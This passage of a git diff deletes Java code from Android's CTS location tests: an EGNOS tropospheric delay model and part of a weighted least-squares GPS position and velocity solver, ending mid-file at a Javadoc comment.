- * http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
- *
- */
-public class TroposphericModelEgnos {
-  // parameters of the EGNOS models
-  private static final int INDEX_15_DEGREES = 0;
-  private static final int INDEX_75_DEGREES = 4;
-  private static final int LATITUDE_15_DEGREES = 15;
-  private static final int LATITUDE_75_DEGREES = 75;
-  // Lookup Average parameters
-  // Troposphere average presssure mbar
-  private static final double[] latDegreeToPressureMbarAvgMap =
-    {1013.25,  1017.25, 1015.75, 1011.75, 1013.0};
-  // Troposphere average temperature Kelvin
-  private static final double[] latDegreeToTempKelvinAvgMap =
-    {299.65, 294.15, 283.15, 272.15, 263.65};
-  // Troposphere average wator vapor pressure
-  private static final double[] latDegreeToWVPressureMbarAvgMap = {26.31, 21.79, 11.66, 6.78, 4.11};
-  // Troposphere average temperature lapse rate K/m
-  private static final double[] latDegreeToBetaAvgMapKPM =
-    {6.30e-3, 6.05e-3, 5.58e-3, 5.39e-3, 4.53e-3};
-  // Troposphere average water vapor lapse rate (dimensionless)
-  private static final double[] latDegreeToLampdaAvgMap = {2.77, 3.15, 2.57, 1.81, 1.55};
-
-  // Lookup Amplitude parameters
-  // Troposphere amplitude presssure mbar
-  private static final double[] latDegreeToPressureMbarAmpMap = {0.0, -3.75, -2.25, -1.75, -0.5};
-  // Troposphere amplitude temperature Kelvin
-  private static final double[] latDegreeToTempKelvinAmpMap = {0.0, 7.0, 11.0, 15.0, 14.5};
-  // Troposphere amplitude wator vapor pressure
-  private static final double[] latDegreeToWVPressureMbarAmpMap = {0.0, 8.85, 7.24, 5.36, 3.39};
-  // Troposphere amplitude temperature lapse rate K/m
-  private static final double[] latDegreeToBetaAmpMapKPM =
-    {0.0, 0.25e-3, 0.32e-3, 0.81e-3, 0.62e-3};
-  // Troposphere amplitude water vapor lapse rate (dimensionless)
-  private static final double[] latDegreeToLampdaAmpMap = {0.0, 0.33, 0.46, 0.74, 0.30};
-  // Zenith delay dry constant K/mbar
-  private static final double K1 = 77.604;
-  // Zenith delay wet constant K^2/mbar
-  private static final double K2 = 382000.0;
-  // gas constant for dry air J/kg/K
-  private static final double RD = 287.054;
-  // Acceleration of gravity at the atmospheric column centroid m/s^-2
-  private static final double GM = 9.784;
-  // Gravity m/s^2
-  private static final double GRAVITY_MPS2 = 9.80665;
-
-  private static final double MINIMUM_INTERPOLATION_THRESHOLD = 1e-25;
-  private static final double B_HYDROSTATIC = 0.0035716;
-  private static final double C_HYDROSTATIC = 0.082456;
-  private static final double B_NON_HYDROSTATIC = 0.0018576;
-  private static final double C_NON_HYDROSTATIC = 0.062741;
-  private static final double SOUTHERN_HEMISPHERE_DMIN = 211.0;
-  private static final double NORTHERN_HEMISPHERE_DMIN = 28.0;
-  // Days recalling that every fourth year is a leap year and has an extra day - February 29th
-  private static final double DAYS_PER_YEAR = 365.25;
-
-  /**
-   * Compute the tropospheric correction in meters given the satellite elevation in radians, the
-   * user latitude in radians, the user Orthometric height above sea level in meters and the day of
-   * the year.
-   *
-   * <p>Dry and wet delay zenith delay components are calculated and then scaled with the mapping
-   * function at the given satellite elevation.
-   *
-   */
-  public static double calculateTropoCorrectionMeters(double satElevationRadians,
-      double userLatitudeRadian, double heightMetersAboveSeaLevel, int dayOfYear1To366) {
-    DryAndWetMappingValues dryAndWetMappingValues =
-        computeDryAndWetMappingValuesUsingUNBabcMappingFunction(satElevationRadians,
-            userLatitudeRadian, heightMetersAboveSeaLevel);
-    DryAndWetZenithDelays dryAndWetZenithDelays = calculateZenithDryAndWetDelaysSec
-        (userLatitudeRadian, heightMetersAboveSeaLevel, dayOfYear1To366);
-
-    double drydelaySeconds =
-        dryAndWetZenithDelays.dryZenithDelaySec * dryAndWetMappingValues.dryMappingValue;
-    double wetdelaySeconds =
-        dryAndWetZenithDelays.wetZenithDelaySec * dryAndWetMappingValues.wetMappingValue;
-    return drydelaySeconds + wetdelaySeconds;
-  }
-
-  /**
-   * Compute the dry and wet mapping values based on the University of Brunswick UNBabc model. The
-   * mapping function inputs are satellite elevation in radians, user latitude in radians and user
-   * orthometric height above sea level in meters. The function returns
-   * {@code DryAndWetMappingValues} containing dry and wet mapping values.
-   *
-   * <p>From the many dry and wet mapping functions of components of the troposphere, the method
-   * from the University of Brunswick in Canada was selected due to its reasonable computation time
-   * and accuracy with satellites as low as 2 degrees elevation.
-   * <p>Source: http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
-   */
-  private static DryAndWetMappingValues computeDryAndWetMappingValuesUsingUNBabcMappingFunction(
-      double satElevationRadians, double userLatitudeRadians, double heightMetersAboveSeaLevel) {
-
-    if (satElevationRadians > Math.PI / 2.0) {
-      satElevationRadians = Math.PI / 2.0;
-    } else if (satElevationRadians < 2.0 * Math.PI / 180.0) {
-      satElevationRadians = Math.toRadians(2.0);
-    }
-
-    // dry components mapping parameters
-    double aHidrostatic = (1.18972 - 0.026855 * heightMetersAboveSeaLevel / 1000.0 + 0.10664
-        * Math.cos(userLatitudeRadians)) / 1000.0;
-
-
-    double numeratorDry = 1.0 + (aHidrostatic / (1.0 + (B_HYDROSTATIC / (1.0 + C_HYDROSTATIC))));
-    double denominatorDry = Math.sin(satElevationRadians) + (aHidrostatic / (
-        Math.sin(satElevationRadians)
-        + (B_HYDROSTATIC / (Math.sin(satElevationRadians) + C_HYDROSTATIC))));
-
-    double drymap = numeratorDry / denominatorDry;
-
-    // wet components mapping parameters
-    double aNonHydrostatic = (0.61120 - 0.035348 * heightMetersAboveSeaLevel / 1000.0 - 0.01526
-        * Math.cos(userLatitudeRadians)) / 1000.0;
-
-
-    double numeratorWet =
-        1.0 + (aNonHydrostatic / (1.0 + (B_NON_HYDROSTATIC / (1.0 + C_NON_HYDROSTATIC))));
-    double denominatorWet = Math.sin(satElevationRadians) + (aNonHydrostatic / (
-        Math.sin(satElevationRadians)
-        + (B_NON_HYDROSTATIC / (Math.sin(satElevationRadians) + C_NON_HYDROSTATIC))));
-
-    double wetmap = numeratorWet / denominatorWet;
-    return new DryAndWetMappingValues(drymap, wetmap);
-  }
-
-  /**
-   * Compute the combined effect of the delay at zenith experienced due to hyrostatic (dry) and wet
-   * components of the troposphere. The function inputs are the user latitude in radians, user
-   * orthometric height above sea level in meters and the day of the year (1-366). The function
-   * returns a {@code DryAndWetZenithDelays} containing dry and wet delays at zenith.
-   *
-   * <p>EGNOS Tropospheric model by Penna et al. (2001) is used in this case.
-   * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917)
-   *
-   */
-  private static DryAndWetZenithDelays calculateZenithDryAndWetDelaysSec(double userLatitudeRadians,
-      double heightMetersAboveSeaLevel, int dayOfyear1To366) {
-    // interpolated meteorological values
-    double pressureMbar;
-    double tempKelvin;
-    double waterVaporPressureMbar;
-    // temperature lapse rate, [K/m]
-    double beta;
-    // water vapor lapse rate, dimensionless
-    double lambda;
-
-    double absLatitudeDeg = Math.toDegrees(Math.abs(userLatitudeRadians));
-    // day of year min constant
-    double dmin;
-    if (userLatitudeRadians < 0) {
-      dmin = SOUTHERN_HEMISPHERE_DMIN;
-    } else {
-      dmin = NORTHERN_HEMISPHERE_DMIN;
-
-    }
-    double amplitudeScalefactor = Math.cos((2 * Math.PI * (dayOfyear1To366 - dmin))
-        / DAYS_PER_YEAR);
-
-    if (absLatitudeDeg <= LATITUDE_15_DEGREES) {
-      pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_15_DEGREES]
-          - latDegreeToPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
-      tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_15_DEGREES]
-          - latDegreeToTempKelvinAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
-      waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_15_DEGREES]
-          - latDegreeToWVPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
-      beta = latDegreeToBetaAvgMapKPM[INDEX_15_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_15_DEGREES]
-          * amplitudeScalefactor;
-      lambda = latDegreeToLampdaAmpMap[INDEX_15_DEGREES] - latDegreeToLampdaAmpMap[INDEX_15_DEGREES]
-          * amplitudeScalefactor;
-    } else if (absLatitudeDeg > LATITUDE_15_DEGREES && absLatitudeDeg < LATITUDE_75_DEGREES) {
-      int key = (int) (absLatitudeDeg / LATITUDE_15_DEGREES);
-
-      double averagePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToPressureMbarAvgMap[key], absLatitudeDeg);
-      double amplitudePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToPressureMbarAmpMap[key], absLatitudeDeg);
-      pressureMbar = averagePressureMbar - amplitudePressureMbar * amplitudeScalefactor;
-
-      double averageTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToTempKelvinAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToTempKelvinAvgMap[key], absLatitudeDeg);
-      double amplitudeTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToTempKelvinAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToTempKelvinAmpMap[key], absLatitudeDeg);
-      tempKelvin = averageTempKelvin - amplitudeTempKelvin * amplitudeScalefactor;
-
-      double averageWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToWVPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToWVPressureMbarAvgMap[key], absLatitudeDeg);
-      double amplitudeWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToWVPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToWVPressureMbarAmpMap[key], absLatitudeDeg);
-      waterVaporPressureMbar =
-          averageWaterVaporPressureMbar - amplitudeWaterVaporPressureMbar * amplitudeScalefactor;
-
-      double averageBeta = interpolate(key * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key - 1],
-          (key + 1) * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key], absLatitudeDeg);
-      double amplitudeBeta = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToBetaAmpMapKPM[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToBetaAmpMapKPM[key], absLatitudeDeg);
-      beta = averageBeta - amplitudeBeta * amplitudeScalefactor;
-
-      double averageLambda = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToLampdaAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToLampdaAvgMap[key], absLatitudeDeg);
-      double amplitudeLambda = interpolate(key * LATITUDE_15_DEGREES,
-          latDegreeToLampdaAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
-          latDegreeToLampdaAmpMap[key], absLatitudeDeg);
-      lambda = averageLambda - amplitudeLambda * amplitudeScalefactor;
-    } else {
-      pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_75_DEGREES]
-          - latDegreeToPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
-      tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_75_DEGREES]
-          - latDegreeToTempKelvinAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
-      waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_75_DEGREES]
-          - latDegreeToWVPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
-      beta = latDegreeToBetaAvgMapKPM[INDEX_75_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_75_DEGREES]
-          * amplitudeScalefactor;
-      lambda = latDegreeToLampdaAmpMap[INDEX_75_DEGREES] - latDegreeToLampdaAmpMap[INDEX_75_DEGREES]
-          * amplitudeScalefactor;
-    }
-
-    double zenithDryDelayAtSeaLevelSeconds = (1.0e-6 * K1 * RD * pressureMbar) / GM;
-    double zenithWetDelayAtSeaLevelSeconds = (((1.0e-6 * K2 * RD)
-        / (GM * (lambda + 1.0) - beta * RD)) * (waterVaporPressureMbar / tempKelvin));
-    double commonBase = 1.0 - ((beta * heightMetersAboveSeaLevel) / tempKelvin);
-
-    double powerDry = (GRAVITY_MPS2 / (RD * beta));
-    double powerWet = (((lambda + 1.0) * GRAVITY_MPS2) / (RD * beta)) - 1.0;
-    double zenithDryDelaySeconds = zenithDryDelayAtSeaLevelSeconds * Math.pow(commonBase, powerDry);
-    double zenithWetDelaySeconds = zenithWetDelayAtSeaLevelSeconds * Math.pow(commonBase, powerWet);
-    return new DryAndWetZenithDelays(zenithDryDelaySeconds, zenithWetDelaySeconds);
-  }
-
-  /**
-   * Interpolate linearly given two points (point1X, point1Y) and (point2X, point2Y). Given the
-   * desired value of x (xInterpolated), an interpolated value of y shall be computed and returned.
-   */
-  private static double interpolate(double point1X, double point1Y, double point2X, double point2Y,
-      double xOutput) {
-    // Check that xOutput is between the two interpolation points.
-    if ((point1X < point2X && (xOutput < point1X || xOutput > point2X))
-        || (point2X < point1X && (xOutput < point2X || xOutput > point1X))) {
-      throw new IllegalArgumentException("Interpolated value is outside the interpolated region");
-    }
-    double deltaX = point2X - point1X;
-    double yOutput;
-
-    if (Math.abs(deltaX) > MINIMUM_INTERPOLATION_THRESHOLD) {
-      yOutput = point1Y + (xOutput - point1X) / deltaX * (point2Y - point1Y);
-    } else {
-      yOutput = point1Y;
-    }
-    return yOutput;
-  }
-
-  /* A class containing dry and wet mapping values */
-  private static class DryAndWetMappingValues {
-    public double dryMappingValue;
-    public double wetMappingValue;
-
-    public DryAndWetMappingValues(double dryMappingValue, double wetMappingValue) {
-      this.dryMappingValue = dryMappingValue;
-      this.wetMappingValue = wetMappingValue;
-    }
-  }
-
-  /* A class containing dry and wet delays in seconds experienced at zenith */
-  private static class DryAndWetZenithDelays {
-    public double dryZenithDelaySec;
-    public double wetZenithDelaySec;
-
-    public DryAndWetZenithDelays(double dryZenithDelay, double wetZenithDelay) {
-      this.dryZenithDelaySec = dryZenithDelay;
-      this.wetZenithDelaySec = wetZenithDelay;
-    }
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java b/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java
deleted file mode 100644
index 1d26b8e..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java
+++ /dev/null
@@ -1,910 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import static java.nio.charset.StandardCharsets.UTF_8;
-
-import com.google.common.annotations.VisibleForTesting;
-import com.google.common.base.Preconditions;
-import com.google.common.collect.Lists;
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import android.location.cts.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
-import android.location.cts.pseudorange.SatellitePositionCalculator.PositionAndVelocity;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import org.apache.commons.math.linear.Array2DRowRealMatrix;
-import org.apache.commons.math.linear.LUDecompositionImpl;
-import org.apache.commons.math.linear.QRDecompositionImpl;
-import org.apache.commons.math.linear.RealMatrix;
-
-/**
- * Computes an iterative least square receiver position solution given the pseudorange (meters) and
- * accumulated delta range (meters) measurements, receiver time of week, week number and the
- * navigation message.
- */
-class UserPositionVelocityWeightedLeastSquare {
-  private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
-  private static final int SECONDS_IN_WEEK = 604800;
-  private static final double LEAST_SQUARE_TOLERANCE_METERS = 4.0e-8;
-  /** Position correction threshold below which atmospheric correction will be applied */
-  private static final double ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS = 1000.0;
-  private static final int MINIMUM_NUMER_OF_SATELLITES = 4;
-  private static final double RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS = 20.0;
-
-  private static final int MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS = 100;
-  /** Maximum possible number of GPS satellites */
-  private static final int MAX_NUMBER_OF_SATELLITES = 32;
-  /** GPS C/A code chip width Tc = 1 microseconds */
-  private static final double GPS_CHIP_WIDTH_T_C_SEC = 1.0e-6;
-  /** Narrow correlator with spacing d = 0.1 chip */
-  private static final double GPS_CORRELATOR_SPACING_IN_CHIPS = 0.1;
-  /** Average time of DLL correlator T of 20 milliseconds */
-  private static final double GPS_DLL_AVERAGING_TIME_SEC = 20.0e-3;
-  /** Average signal travel time from GPS satellite and earth */
-  private static final double AVERAGE_TRAVEL_TIME_SECONDS = 70.0e-3;
-  private static final double SECONDS_PER_NANO = 1.0e-9;
-  private static final double DOUBLE_ROUND_OFF_TOLERANCE = 0.0000000001;
-  private PseudorangeSmoother pseudorangeSmoother = null;
-  private double geoidHeightMeters;
-  private boolean calculateGeoidMeters = true;
-  private RealMatrix geometryMatrix;
-
-  /** Default Constructor */
-  public UserPositionVelocityWeightedLeastSquare() {
-  }
-
-  /*
-   * Constructor with a smoother. One can implement their own smoothing algorithm for smoothing
-   * the pseudorange, by passing a class which implements {@link PseudorangeSmoother} interface.
-   */
-  public UserPositionVelocityWeightedLeastSquare(PseudorangeSmoother pseudorangeSmoother) {
-    this.pseudorangeSmoother = pseudorangeSmoother;
-  }
-
-  /**
-   * Least square solution to calculate the user position given the navigation message, pseudorange
-   * and accumulated delta range measurements. Also calculates user velocity non-iteratively from
-   * Least square position solution.
-   *
-   * <p>The method fills the user position and velocity in ECEF coordinates and receiver clock
-   * offset in meters and clock offset rate in meters per second.
-   *
-   * <p>One can implement their own smoothing algorithm for smoothing the pseudorange, by passing
-   * a class which implements pseudorangeSmoother interface.
-   *
-   * <p>Source for least squares:
-   * <ul>
-   * <li>http://www.u-blox.com/images/downloads/Product_Docs/GPS_Compendium%28GPS-X-02007%29.pdf
-   * page 81 - 85
-   * <li>Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and applications’
-   * page 412 - 414
-   * </ul>
-   *
-   * @param navMessageProto parameters of the navigation message
-   * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
-   *        {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
-   *        computing the position solution.
-   * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
-   * @param receiverGPSWeek Receiver estimate of GPS week (0-1024+)
-   * @param dayOfYear1To366 The day of the year between 1 and 366
-   * @param positionVelocitySolutionECEF Solution array of the following format:
-   *        [0-2] xyz solution of user.
-   *        [3] clock bias of user.
-   *        [4-6] velocity of user.
-   *        [7] clock bias rate of user.
-   * @param positionVelocityUncertaintyEnu Uncertainty of calculated position and velocity solution
-   *        in meters and mps local ENU system. Array has the following format:
-   *        [0-2] Enu uncertainty of position solution in meters
-   *        [3-5] Enu uncertainty of velocity solution in meters per second.
-   *
-   */
-  public void calculateUserPositionVelocityLeastSquare(
-      GpsNavMessageProto navMessageProto,
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
-      double receiverGPSTowAtReceptionSeconds,
-      int receiverGPSWeek,
-      int dayOfYear1To366,
-      double[] positionVelocitySolutionECEF,
-      double[] positionVelocityUncertaintyEnu)
-      throws Exception {
-
-    double[] deltaPositionMeters;
-    // make a copy of usefulSatellitesToReceiverMeasurements, to keep the original list the same
-    List<GpsMeasurementWithRangeAndUncertainty> satellitesToReceiverMeasurements =
-      new ArrayList<GpsMeasurementWithRangeAndUncertainty>(usefulSatellitesToReceiverMeasurements);
-    if (pseudorangeSmoother != null) {
-      satellitesToReceiverMeasurements =
-        pseudorangeSmoother.updatePseudorangeSmoothingResult(satellitesToReceiverMeasurements);
-    }
-    int numberOfUsefulSatellites =
-        getNumberOfusefulSatellites(satellitesToReceiverMeasurements);
-    // Least square position solution is supported only if 4 or more satellites visible
-    Preconditions.checkArgument(numberOfUsefulSatellites >= MINIMUM_NUMER_OF_SATELLITES,
-        "At least 4 satellites have to be visible... Only 3D mode is supported...");
-    boolean repeatLeastSquare = false;
-    SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight;
-    do {
-      // Calculate satellites' positions, measurement residual per visible satellite and weight
-      // matrix for the iterative least square
-      boolean doAtmosphericCorrections = false;
-      satPosPseudorangeResidualAndWeight =
-          calculateSatPosAndPseudorangeResidual(
-              navMessageProto,
-              satellitesToReceiverMeasurements,
-              receiverGPSTowAtReceptionSeconds,
-              receiverGPSWeek,
-              dayOfYear1To366,
-              positionVelocitySolutionECEF,
-              doAtmosphericCorrections);
-
-      // Calcualte the geometry matrix according to "Global Positioning System: Theory and
-      // Applications", Parkinson and Spilker page 413
-      RealMatrix covarianceMatrixM2 =
-          new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare);
-      geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
-          satPosPseudorangeResidualAndWeight.satellitesPositionsMeters,
-          positionVelocitySolutionECEF));
-      RealMatrix weightedGeometryMatrix;
-      RealMatrix weightMatrixMetersMinus2 = null;
-      // Apply weighted least square only if the covariance matrix is not singular (has a non-zero
-      // determinant), otherwise apply ordinary least square. The reason is to ignore reported
-      // signal to noise ratios by the receiver that can lead to such singularities
-      LUDecompositionImpl ludCovMatrixM2 = new LUDecompositionImpl(covarianceMatrixM2);
-      double det = ludCovMatrixM2.getDeterminant();
-
-      if (det <= DOUBLE_ROUND_OFF_TOLERANCE) {
-        // Do not weight the geometry matrix if covariance matrix is singular.
-        weightedGeometryMatrix = geometryMatrix;
-      } else {
-        weightMatrixMetersMinus2 = ludCovMatrixM2.getSolver().getInverse();
-        RealMatrix hMatrix =
-            calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
-        weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
-            .multiply(weightMatrixMetersMinus2);
-      }
-
-      // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons", Parkinson
-      // and Spilker
-      deltaPositionMeters =
-          GpsMathOperations.matrixByColVectMultiplication(weightedGeometryMatrix.getData(),
-          satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
-
-      // Apply corrections to the position estimate
-      positionVelocitySolutionECEF[0] += deltaPositionMeters[0];
-      positionVelocitySolutionECEF[1] += deltaPositionMeters[1];
-      positionVelocitySolutionECEF[2] += deltaPositionMeters[2];
-      positionVelocitySolutionECEF[3] += deltaPositionMeters[3];
-      // Iterate applying corrections to the position solution until correction is below threshold
-      satPosPseudorangeResidualAndWeight =
-          applyWeightedLeastSquare(
-              navMessageProto,
-              satellitesToReceiverMeasurements,
-              receiverGPSTowAtReceptionSeconds,
-              receiverGPSWeek,
-              dayOfYear1To366,
-              positionVelocitySolutionECEF,
-              deltaPositionMeters,
-              doAtmosphericCorrections,
-              satPosPseudorangeResidualAndWeight,
-              weightMatrixMetersMinus2);
-      repeatLeastSquare = false;
-      int satsWithResidualBelowThreshold =
-          satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length;
-      // remove satellites that have residuals above RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS as they
-      // worsen the position solution accuracy. If any satellite is removed, repeat the least square
-      repeatLeastSquare =
-          removeHighResidualSats(
-              satellitesToReceiverMeasurements,
-              repeatLeastSquare,
-              satPosPseudorangeResidualAndWeight,
-              satsWithResidualBelowThreshold);
-
-    } while (repeatLeastSquare);
-    calculateGeoidMeters = false;
-
-    // The computed ECEF position will be used next to compute the user velocity.
-    // we calculate and fill in the user velocity solutions based on following equation:
-    // Weight Matrix * GeometryMatrix * User Velocity Vector
-    // = Weight Matrix * deltaPseudoRangeRateWeightedMps
-    // Reference: Pratap Misra and Per Enge
-    // "Global Positioning System: Signals, Measurements, and Performance" Page 218.
-
-    // Gets the number of satellite used in Geometry Matrix
-    numberOfUsefulSatellites = geometryMatrix.getRowDimension();
-
-    RealMatrix rangeRateMps = new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
-    RealMatrix deltaPseudoRangeRateMps =
-        new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
-    RealMatrix pseudorangeRateWeight
-        = new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
-
-    // Correct the receiver time of week with the estimated receiver clock bias
-    receiverGPSTowAtReceptionSeconds =
-        receiverGPSTowAtReceptionSeconds - positionVelocitySolutionECEF[3] / SPEED_OF_LIGHT_MPS;
-
-    int measurementCount = 0;
-
-    // Calculates range rates
-    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
-      if (satellitesToReceiverMeasurements.get(i) != null) {
-        GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMessageProto, i + 1);
-
-        double pseudorangeMeasurementMeters =
-            satellitesToReceiverMeasurements.get(i).pseudorangeMeters;
-        GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
-            calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
-                receiverGPSWeek, pseudorangeMeasurementMeters);
-
-        // Calculate satellite velocity
-        PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
-            .calculateSatellitePositionAndVelocityFromEphemeris(
-                ephemeridesProto,
-                correctedTowAndWeek.gpsTimeOfWeekSeconds,
-                correctedTowAndWeek.weekNumber,
-                positionVelocitySolutionECEF[0],
-                positionVelocitySolutionECEF[1],
-                positionVelocitySolutionECEF[2]);
-
-        // Calculates satellite clock error rate
-        double satelliteClockErrorRateMps = SatelliteClockCorrectionCalculator.
-            calculateSatClockCorrErrorRate(
-                ephemeridesProto,
-                correctedTowAndWeek.gpsTimeOfWeekSeconds,
-                correctedTowAndWeek.weekNumber);
-
-        // Fill in range rates. range rate = satellite velocity (dot product) line-of-sight vector
-        rangeRateMps.setEntry(measurementCount, 0,  -1 * (
-            satPosECEFMetersVelocityMPS.velocityXMetersPerSec
-                * geometryMatrix.getEntry(measurementCount, 0)
-                + satPosECEFMetersVelocityMPS.velocityYMetersPerSec
-                * geometryMatrix.getEntry(measurementCount, 1)
-                + satPosECEFMetersVelocityMPS.velocityZMetersPerSec
-                * geometryMatrix.getEntry(measurementCount, 2)));
-
-        deltaPseudoRangeRateMps.setEntry(measurementCount, 0,
-            satellitesToReceiverMeasurements.get(i).pseudorangeRateMps
-                - rangeRateMps.getEntry(measurementCount, 0) + satelliteClockErrorRateMps
-                - positionVelocitySolutionECEF[7]);
-
-        // Calculate the velocity weight matrix by using 1 / square(Pseudorangerate Uncertainty)
-        // along the diagonal
-        pseudorangeRateWeight.setEntry(measurementCount, measurementCount,
-            1 / (satellitesToReceiverMeasurements
-                .get(i).pseudorangeRateUncertaintyMps
-                * satellitesToReceiverMeasurements
-                .get(i).pseudorangeRateUncertaintyMps));
-        measurementCount++;
-      }
-    }
-
-    RealMatrix weightedGeoMatrix = pseudorangeRateWeight.multiply(geometryMatrix);
-    RealMatrix deltaPseudoRangeRateWeightedMps =
-        pseudorangeRateWeight.multiply(deltaPseudoRangeRateMps);
-    QRDecompositionImpl qrdWeightedGeoMatrix = new QRDecompositionImpl(weightedGeoMatrix);
-    RealMatrix velocityMps
-        = qrdWeightedGeoMatrix.getSolver().solve(deltaPseudoRangeRateWeightedMps);
-    positionVelocitySolutionECEF[4] = velocityMps.getEntry(0, 0);
-    positionVelocitySolutionECEF[5] = velocityMps.getEntry(1, 0);
-    positionVelocitySolutionECEF[6] = velocityMps.getEntry(2, 0);
-    positionVelocitySolutionECEF[7] = velocityMps.getEntry(3, 0);
-
-    RealMatrix pseudorangeWeight
-        = new LUDecompositionImpl(
-            new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare
-            )
-    ).getSolver().getInverse();
-
-    // Calculates and store the uncertainties of position and velocity in local ENU system in meters
-    // and meters per second.
-    double[] pvUncertainty =
-        calculatePositionVelocityUncertaintyEnu(pseudorangeRateWeight, pseudorangeWeight,
-            positionVelocitySolutionECEF);
-    System.arraycopy(pvUncertainty,
-        0 /*source starting pos*/,
-        positionVelocityUncertaintyEnu,
-        0 /*destination starting pos*/,
-        6 /*length of elements*/);
-  }
-
-  /**
-   * Calculates the position uncertainty in meters and the velocity uncertainty
-   * in meters per second solution in local ENU system.
-   *
-   * <p> Reference: Global Positioning System: Signals, Measurements, and Performance
-   * by Pratap Misra, Per Enge, Page 206 - 209.
-   *
-   * @param velocityWeightMatrix the velocity weight matrix
-   * @param positionWeightMatrix the position weight matrix
-   * @param positionVelocitySolution the position and velocity solution in ECEF
-   * @return an array containing the position and velocity uncertainties in ENU coordinate system.
-   *         [0-2] Enu uncertainty of position solution in meters.
-   *         [3-5] Enu uncertainty of velocity solution in meters per second.
-   */
